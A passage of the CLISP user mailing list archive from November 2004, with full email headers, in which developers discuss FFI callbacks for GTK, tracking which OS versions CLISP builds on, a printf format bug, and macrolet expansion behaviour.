List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 25 12:54:39 2004 X-Original-Date: Thu, 25 Nov 2004 15:49:50 -0500 > * [2004-11-25 14:31:59 -0600]: > > Sam -- is ffi:def-call-in the way that gtk callbacks could be > implemented in clisp's ffi? yes, I think so. Joerg is the CLISP FFI expert, I hope he will reply. -- Sam Steingold (http://www.podval.org/~sds) running w2k Winners never quit; quitters never win; idiots neither win nor quit. From don-test-204@isis.cs3-inc.com Thu Nov 25 13:57:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXRbq-0000AN-IS for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 13:57:02 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXRbT-0001gx-KF for clisp-list@lists.sourceforge.net; Thu, 25 Nov 2004 13:57:01 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id iAPLmb721986; Thu, 25 Nov 2004 13:48:37 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-test-204 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-test-204@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16806.21300.786440.998793@isis.cs3-inc.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net, Sam Steingold In-Reply-To: <200411252137.03920.bruno@clisp.org> References: <20041118041019.C43621D27F7@sc8-sf-uberspam1.sourceforge.net> <16804.64592.140265.861542@isis.cs3-inc.com> <200411252137.03920.bruno@clisp.org> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: -3.9 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FROM_ENDS_IN_NUMS From: ends in numbers -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: versions of OS for which various versions of clisp build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 25 13:58:00 2004 X-Original-Date: Thu, 25 Nov 2004 13:48:36 -0800 Bruno Haible writes: > Don Cohen suggested: > > > > > My new request is that the install instructions should mention this > > > > > as a potential problem and refer to a web page on which is recorded > > > > > versions of clisp/OS that do and don't build, preferably including > > > > > various configuration options, and perhaps the errors that occur in > > > > > the incompatible cases. > > If you find it worth spending your time on, and enough people are willing to > spend time entering their data into this database, I have no objection. I was hoping that it would take little or none of my time. I was hoping a web site would collect the data, save it in a database and search/present it on demand. The question of how many entries it will have is a good one. The only way to find out is try it and see. If we do collect such data I'd suggest that the build instructions include something about adding to the database. Come to think of it, the instructions might also mention to send trouble reports to clisp-list, including ... > Personally I find such an approach useless, because: > > - The data becomes obsolete quickly. You can take a look at clisp's > unix/PLATFORMS file and decide whether you find information about > AIX 3 and IRIX 6.2 useful or not. That's actually pretty close to what I want. Should I assume that all of the builds in that list were the latest released version of clisp as of that date? I see lots of reports for linux, but the most recent is 2.2.13 in 2000. I assume that data is still valid, though certainly not as useful as it was when it was fresher. > Also, who is interested in reports about versions older than the current > stable one? Downloading the newest stable version is so easy. I recently downloaded 2.33.1 because of a reported problem in building ap5 there. So it does happen. But more to the point, when I tried to build it in red hat 6.2 I failed because 2.33.1 expects a newer linux. I almost certainly would have the same result with any more recent clisp release. While I expect that the vast majority of builds will be the most recent clisp release, I don't expect the vast majority to occur on the most recent OS version. I currently use a few RH8's, a bunch of 7's, I'm typing into a 6 right now, and I only recently upgraded a 5. > - A significant percentage of build failure reports usually comes from > people who have screwed up their environment, or are using nonstandard > tools and techniques (from snapshot versions of gcc, over 'stow', > up to automounter problems). These people can fill up all the cells of > the configuration table with "FAIL". So someone would be needed to > distinguish invalid reports from valid ones. I agree (from considerable personal experience) that there are lots of ways to fail. Even if you failed for reasons that have nothing to do with the clisp release I don't regard such entries as invalid. They are still useful to others who want to build in similar circumstances. It's good to see that someone else has already experienced a problem similar to the one you now experience, and even better if that entry contains a diagnosis and a fix. Conversely, the fact that SOMEONE has managed to succeed using the same or even similar configuration that you're now trying to use at least gives you hope. > - What some people consider a build failure, for example your 'DS' > problem, for other people is not even worth talking about because > it's so straightforward to fix. > > - Merely recording the failures does not help fixing the problems. (I think both of those are addressed above.) > > > Come to think of it, is there a reasonable way to run tests from > > > one version on another version? > > No. The tests use internal symbols from the implementation, which change > from one release to the next. > > > > It would be useful to know what > > > bugs are known to exist in which versions of clisp, and if they're > > > OS dependent, then which OS versions. The most obvious way to get > > > that data would be the test suite. > > Look into the CVS's NEWS file, and on the bug tracker. I suppose the change log gives you an idea of what bugs people are trying to fix. But some of these are introduced accidentally in some version, and you can avoid them by using either a later version or an earlier one. From rurban@x-ray.at Fri Nov 26 01:02:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXbzf-0003dR-1v for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 01:02:19 -0800 Received: from smartmx-07.inode.at ([213.229.60.39]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1CXbzd-0001jG-UO for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 01:02:18 -0800 Received: from [62.99.252.218] (port=64681 helo=[192.168.0.2]) by smartmx-07.inode.at with esmtp (Exim 4.34) id 1CXbzb-0008Qd-Gs for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 10:02:16 +0100 Message-ID: <41A6F115.50401@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a4) Gecko/20040927 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: versions of OS for which various versions of clisp build References: <20041118041019.C43621D27F7@sc8-sf-uberspam1.sourceforge.net> <16804.64592.140265.861542@isis.cs3-inc.com> <200411252137.03920.bruno@clisp.org> <16806.21300.786440.998793@isis.cs3-inc.com> In-Reply-To: <16806.21300.786440.998793@isis.cs3-inc.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.6 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.3 AWL AWL: Auto-whitelist adjustment Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 01:03:05 2004 X-Original-Date: Fri, 26 Nov 2004 10:02:13 +0100 Don Cohen schrieb: > Bruno Haible writes: > > Don Cohen suggested: > > > > > > My new request is that the install instructions should mention this > > > > > > as a potential problem and refer to a web page on which is recorded > > > > > > versions of clisp/OS that do and don't build, preferably including > > > > > > various configuration options, and perhaps the errors that occur in > > > > > > the incompatible cases. > > > > If you find it worth spending your time on, and enough people are willing to > > spend time entering their data into this database, I have no objection. > > I was hoping that it would take little or none of my time. I was > hoping a web site would collect the data, save it in a database and > search/present it on demand. The question of how many entries it will > have is a good one. The only way to find out is try it and see. > If we do collect such data I'd suggest that the build instructions > include something about adding to the database. > Come to think of it, the instructions might also mention to send > trouble reports to clisp-list, including ... You could try the sf.net buildfarm services. That's free, easy to use, but slow and uses very old OS versions. http://sourceforge.net/docman/display_doc.php?docid=762&group_id=1 I didn't use that yet, I just use the postgresql buildfarm and reporting tools, which is much better and faster. http://www.pgbuildfarm.org/ Andrew Dunstan maintains that, and the cgi is downloadable. PS: the PgFoundry is a very recent gforge setup, in contrast to savannah or sf.net, which is ancient. but all of them still provide no wiki. Feedback should go to some centralized gforge-type service, if on gnu or sf.net. I'd prefer savannah.gnu.org, but currently the sf.net trackers are used. Savannah uses an updated gforge software, support is more responsive and it is not that overcrowded. > > Personally I find such an approach useless, because: > > > > - The data becomes obsolete quickly. You can take a look at clisp's > > unix/PLATFORMS file and decide whether you find information about > > AIX 3 and IRIX 6.2 useful or not. > > That's actually pretty close to what I want. Should I assume that all > of the builds in that list were the latest released version of clisp > as of that date? > I see lots of reports for linux, but the most recent is 2.2.13 in > 2000. I assume that data is still valid, though certainly not as > useful as it was when it was fresher. > > > Also, who is interested in reports about versions older than the current > > stable one? Downloading the newest stable version is so easy. > > I recently downloaded 2.33.1 because of a reported problem in building > ap5 there. So it does happen. > But more to the point, when I tried to build it in red hat 6.2 I > failed because 2.33.1 expects a newer linux. I almost certainly would > have the same result with any more recent clisp release. > While I expect that the vast majority of builds will be the most > recent clisp release, I don't expect the vast majority to occur on the > most recent OS version. I currently use a few RH8's, a bunch of 7's, > I'm typing into a 6 right now, and I only recently upgraded a 5. > > > - A significant percentage of build failure reports usually comes from > > people who have screwed up their environment, or are using nonstandard > > tools and techniques (from snapshot versions of gcc, over 'stow', > > up to automounter problems). These people can fill up all the cells of > > the configuration table with "FAIL". So someone would be needed to > > distinguish invalid reports from valid ones. > > I agree (from considerable personal experience) that there are lots of > ways to fail. Even if you failed for reasons that have nothing to do > with the clisp release I don't regard such entries as invalid. They > are still useful to others who want to build in similar circumstances. > It's good to see that someone else has already experienced a problem > similar to the one you now experience, and even better if that entry > contains a diagnosis and a fix. Conversely, the fact that SOMEONE has > managed to succeed using the same or even similar configuration that > you're now trying to use at least gives you hope. > > > - What some people consider a build failure, for example your 'DS' > > problem, for other people is not even worth talking about because > > it's so straightforward to fix. > > > > - Merely recording the failures does not help fixing the problems. > > (I think both of those are addressed above.) > > > > > Come to think of it, is there a reasonable way to run tests from > > > > one version on another version? > > > > No. The tests use internal symbols from the implementation, which change > > from one release to the next. > > > > > > It would be useful to know what > > > > bugs are known to exist in which versions of clisp, and if they're > > > > OS dependent, then which OS versions. The most obvious way to get > > > > that data would be the test suite. > > > > Look into the CVS's NEWS file, and on the bug tracker. > > I suppose the change log gives you an idea of what bugs people are > trying to fix. But some of these are introduced accidentally in some > version, and you can avoid them by using either a later version or an > earlier one. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 26 02:04:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXcyA-0002mc-Gl for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 02:04:50 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXcy9-00020I-Pp for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 02:04:50 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 26 Nov 2004 11:04:26 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Nov 2004 11:04:40 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030264C175@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: taube@uiuc.edu MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] AW: GTK2 FFI available for CMUCL, OpenMCL, SBCL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 02:05:37 2004 X-Original-Date: Fri, 26 Nov 2004 11:04:35 +0100 Hi, Honorable wrote: >> Sam -- is ffi:def-call-in the way that gtk callbacks could be >> implemented in clisp's ffi? >yes, I think so. >Joerg is the CLISP FFI expert, I hope he will reply. def-call-in can be used, but it's not the only way. An alternative is always to use correct (ffi:c-function ...) declarations for function arguments or for foreign places. This allows conversion between Lisp and foreign functions, including arbitrary closures, by creating trampolines (callbacks) as needed. This is particularly suited for variable or dynamic callbacks (Lisp function unknown at compile time). I once added a callback example in the ffi testsuite. It may help you. Note that the pattern I use therein gives you the ability to free the trampoline later, preventing possibly unlimited growth of an internal table of trampolines, while (repeatedly (some-foreign-function #'(lambda ...) ...)) will fill that table (one entry for each closure), with few options to free it, unless you manage to get a handle on the trampoline. Your choice will probably depend on the GTK setup: if there are few callbacks to known Lisp functions which themselves dispatch to user callbacks, a module using def-call-in is possible. If you want the foreign world to directly call user-supplied Lisp functions, then you have no change but to use the FFI dynamic conversion support (and probably do something to avoid growing that table, but talk to me again if that is a concern). Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 26 04:32:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXfGx-0005Ky-JA for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 04:32:23 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXfGl-0004Iy-Hd for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 04:32:23 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 13:32:04 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Nov 2004 13:30:12 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030264C1F4@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: versions of OS for which various versions of cli sp build MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 04:33:19 2004 X-Original-Date: Fri, 26 Nov 2004 13:30:09 +0100 Hi, > > - The data becomes obsolete quickly. You can take a look > > at clisp's unix/PLATFORMS file >That's actually pretty close to what I want. I believe adding entries to that list is the only reasonable thing to do. The rest sounds like full time jobs (maintaining DB, build old versions etc.), nobody has time for that. >I see lots of reports for linux, but the most recent is 2.2.13 in >2000. Unfortunate. People, please containue to add entries there. It's important for practical applications that some known version of CLISP still works with old OS. E.g. I just have a project where the OS is Suse Linux 8.1, which some may consider old already (9.1 may be current, I don't follow releases) -- FWIW, it successfully builds current CVS clisp. Not every hardware is as new as the developer's favourite development box. > > Look into the CVS's NEWS file, and on the bug tracker. I too believe NEWS and ChangeLog give a lot of information about specific bug fixes. But the mailing lists archives are equally valuable, because they give context and history, failure and success stories. E.g. if you have an OS from 2000, use a CLISP from 2000 -- I probably wouldn't consider a binomial test build of all releases in between to find out which one stopped building: either the newest one can be made to work again, or it's very likely to be too expensive to fix more than a few annoying bugs in an old one. Most of the bugs that get fixed *I* have never ever noticed. So fixing 1-3 specific bugs in a CLISP from 2000 may be good enough for use in some environments. Regard, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 26 04:47:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXfVe-0000v0-G4 for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 04:47:34 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXfVd-0006Xt-Lb for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 04:47:34 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 26 Nov 2004 13:47:22 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Nov 2004 13:46:07 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030264C1FF@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: cpohlmann01@yahoo.com, stephleg@free.fr, pjb@informatimago.com Subject: [clisp-list] problems w/ regexp on clisp 2.33.2 / freebsd MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 04:48:13 2004 X-Original-Date: Fri, 26 Nov 2004 13:46:06 +0100 Hi, St=E9phane Legrand wrote: >> int i; >> printf("match %2d: %2d %2d\n",i, >> matches[i].rm_so,matches[i].rm_eo); }}} >And indeed, if you replace:=20 > printf("match %2d: %2d %2d\n",i, >with > printf("match %2d: %lld %lld\n",i, >you get a right answer This code is as broken as the original one. C does AFAIK not provide = for printf() to infer a %d form that matches the variant of int passed = as argument. Therefore, explicit casting is your only choice. rm_so/eo is of type regoff_t, itself of type int on my Suse Linux 8.1 = x86 box. Your example reveals that your machine uses another type. Use printf %ld (long) rm_so or printf %d (int) rm_so or printf %lld (what's that?) rm_so according to your taste and expectations. IIRC, the value is signed, because -1 is returned for nonmatches. Regards, J=F6rg H=F6hle From bruno@clisp.org Fri Nov 26 04:54:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXfc2-0002IU-VV for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 04:54:10 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXfc2-0007Qv-38 for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 04:54:10 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iAQCrv7s001542; Fri, 26 Nov 2004 13:53:57 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iAQCrpvO001956; Fri, 26 Nov 2004 13:53:51 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 3FA102BA80; Fri, 26 Nov 2004 12:53:19 +0000 (UTC) From: Bruno Haible To: don-test-204@isis.cs3-inc.com (Don Cohen) User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <20041118041019.C43621D27F7@sc8-sf-uberspam1.sourceforge.net> <200411252137.03920.bruno@clisp.org> <16806.21300.786440.998793@isis.cs3-inc.com> In-Reply-To: <16806.21300.786440.998793@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200411261353.18028.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: versions of OS for which various versions of clisp build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 04:55:02 2004 X-Original-Date: Fri, 26 Nov 2004 13:53:18 +0100 Don Cohen wrote: > But some of these are introduced accidentally in some version, and you can > avoid them by using either a later version or an earlier one. We try to avoid regressions, through test suites and prereleases. Everyone is welcome to help us with this, by testing the prereleases, in the period before a release. And when a regression is nevertheless introduced in a release, and it is reported properly, there are chances that it gets fixed in a clisp-2.xx.[123] bugfix release. Bruno From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 26 05:04:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXfmL-0003sz-RJ for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 05:04:49 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CXfmL-0007Nz-0K for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 05:04:49 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 26 Nov 2004 14:04:40 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Nov 2004 14:03:30 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030264C20C@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: don-test-204@isis.cs3-inc.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with compile in 2.33.1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 05:05:19 2004 X-Original-Date: Fri, 26 Nov 2004 14:03:22 +0100 Don, solved: >I traced compile only in order to show that >(2) there was no change of state between the two compiles, other >than changes caused by the compile itself. Wrong: >[3]> (defun relationp-err (x) > (or (loop for r in *relation-list* thereis (eql x (foo-bar r))) > (car (push (make-foo :bar x) *relation-list*)))) thereis returns T after the initial call. As a result, the LOAD-TIME-VALUE changes. Maybe you meant something like o thereis (if (eql x (foo-bar r)) x|r) o when (eql x (foo-bar r)) return x|r Regards, Jorg From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 26 07:49:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXiM3-00037m-4X for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 07:49:51 -0800 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXiLx-00081U-8D for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 07:49:50 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 16:49:39 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 26 Nov 2004 16:48:31 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030264C293@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] times of macrolet expansion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 26 07:50:21 2004 X-Original-Date: Fri, 26 Nov 2004 16:48:30 +0100 Hi, I've come across the following behaviour and wonder: (defmacro bag (&body body) `(let ((*bags* ())) (declare (type list *bags*)) ; need not be special (macrolet ((containing (x &optional (name :default)) (format *trace-output* "Expanding(~S)... " name) `((lambda (value) (push value (cdr (or (assoc ',name *bags* :test #'eq) (let ((loc (list ',name))) (push loc *bags*) loc)))) value) ,x)) (result-expansion () (format *trace-output* "Stored: ~S~%" *bags*) '(cdr (assoc :default *bags* :test #'eq)))) ,@body (result-expansion)))) [2]> (defun zot(n) (bag (containing n))) Expanding(:DEFAULT)... Stored: NIL ; Aha, macrolets seem to be expanded at defun-time already. ZOT [3]> (setq *print-length* 6) 6 [4]> (setq *print-level* 4) ; important, may crash if NIL 4 [5]> (compile 'zot) Expanding(:DEFAULT)... Stored: # (# #) T ...> ZOT ; NIL ; NIL How comes some system internal state gets into my variable? (compile 'zot) with *print-level* nil crashes my MS-Windows CLISP (and I thought I had GC/stack-checks/page overflow detection enabled). Is this a consequence of CLHS on macrolet: "but the consequences are undefined if the local macro definitions reference any local variable or function bindings that are visible in that lexical environment."? Is there any hope of getting a variation of this code to work? Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Fri Nov 26 08:04:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CXiZr-00064n-NT for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 08:04:07 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CXiZj-0001jh-A0 for clisp-list@lists.sourceforge.net; Fri, 26 Nov 2004 08:04:07 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CXiZh-0006fO-00 for ; Fri, 26 Nov 2004 17:03:57 +0100 Received: from 210-85-12-245.cm.dynamic.apol.com.tw ([210.85.12.245]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 26 Nov 2004 17:03:57 +0100 Received: from gko by 210-85-12-245.cm.dynamic.apol.com.tw with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 26 Nov 2004 17:03:57 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Georges Ko Organization: gko.net Lines: 29 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 210-85-12-245.cm.dynamic.apol.com.tw User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) Hamster/2.0.0.1 Cancel-Lock: sha1:RKD7diRqWa2sC3KsQKy1YGfjwR4= X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more 